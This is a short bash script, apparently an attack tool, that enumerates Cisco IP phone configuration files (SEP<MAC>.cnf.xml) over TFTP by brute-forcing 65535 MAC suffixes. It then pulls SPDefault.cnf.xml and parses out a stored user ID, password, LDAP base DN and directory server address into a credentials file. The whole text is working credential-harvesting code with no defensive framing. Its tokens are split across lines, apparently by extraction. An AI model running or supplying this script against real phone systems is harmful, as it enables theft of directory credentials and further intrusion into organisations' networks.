#!/bin/bash
BASE_MAC=$1
TFTP_SERVER=$2
perl -e
'$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }'
> mac.txt
while
read
LINE;
do
tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml
done
< mac.txt
tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
USERID=`
grep
"UseUserCredential"
SPDefault.cnf.xml |
cut
-d
">"
-f 6 |
cut
-d
"<"
-f 1`
echo
"USERID: "
$USERID > credentials.txt
PWD=`
grep
"UseUserCredential"
SPDefault.cnf.xml |
cut
-d
">"
-f 8 |
cut
-d
"<"
-f 1`
echo
"PWD: "
$PWD >> credentials.txt
BASE_DN=`
grep
"UseUserCredential"
SPDefault.cnf.xml |
cut
-d
">"
-f 10 |
cut
-d
"<"
-f 1`
echo
"BASE_DN: "
$BASE_DN >> credentials.txt
while
read
LINE;
do
if
[
"$LINE"
=
"<ProductType>Directory"
];
then
read
LINE
ADDRESS=`
echo
$LINE |
cut
-d
">"
-f 2 |
cut
-d
"<"
-f 1`
echo
"LDAP_IP_ADDRESS: "
$ADDRESS >> credentials.txt
fi
done
< SPDefault.cnf.xml
echo
"Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"